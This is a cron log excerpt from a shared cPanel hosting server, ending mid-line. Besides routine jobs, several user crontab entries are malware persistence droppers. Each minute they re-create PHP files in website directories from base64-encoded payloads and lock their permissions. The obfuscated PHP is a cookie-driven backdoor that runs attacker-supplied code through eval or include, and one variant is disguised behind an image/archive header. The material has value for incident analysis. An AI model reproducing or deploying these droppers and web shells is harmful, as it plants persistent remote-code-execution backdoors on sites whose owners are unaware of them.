Mar  2 05:30:02 medusa CROND[862]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:30:02 medusa CROND[868]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:30:02 medusa CROND[869]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:30:02 medusa CROND[870]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:30:02 medusa CROND[871]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Mar  2 05:30:02 medusa CROND[883]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 05:30:02 medusa CROND[885]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:30:02 medusa CROND[863]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:30:02 medusa CROND[866]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 05:30:02 medusa CROND[889]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 05:30:02 medusa CROND[890]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 05:30:02 medusa CROND[875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 05:30:02 medusa CROND[898]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 05:30:02 medusa CROND[873]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 05:30:02 medusa CROND[882]: (root) CMD (/nutscripts/wp-toolkit.sh > /dev/null 2>&1)
Mar  2 05:30:02 medusa CROND[877]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 05:30:02 medusa CROND[880]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 05:30:02 medusa CROND[890]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 05:30:02 medusa CROND[875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 05:30:02 medusa CROND[898]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 05:30:02 medusa CROND[873]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 05:30:02 medusa CROND[882]: (root) CMD (/nutscripts/wp-toolkit.sh > /dev/null 2>&1)
Mar  2 05:30:02 medusa CROND[877]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 05:30:02 medusa CROND[880]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 05:31:01 medusa CROND[21737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:31:01 medusa CROND[21809]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 05:31:01 medusa CROND[21811]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:31:01 medusa CROND[21812]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:31:01 medusa CROND[21813]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:31:01 medusa CROND[21814]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 05:31:01 medusa CROND[21815]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:31:01 medusa CROND[21820]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:31:01 medusa CROND[21821]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:31:01 medusa CROND[21816]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:31:01 medusa CROND[21828]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:31:01 medusa CROND[21835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:31:01 medusa CROND[21842]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:32:01 medusa CROND[7986]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:32:02 medusa CROND[8187]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:32:02 medusa CROND[8188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:32:02 medusa CROND[8189]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:32:02 medusa CROND[8190]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:32:02 medusa CROND[8191]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:32:02 medusa CROND[8195]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 05:32:02 medusa CROND[8198]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:32:02 medusa CROND[8199]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oe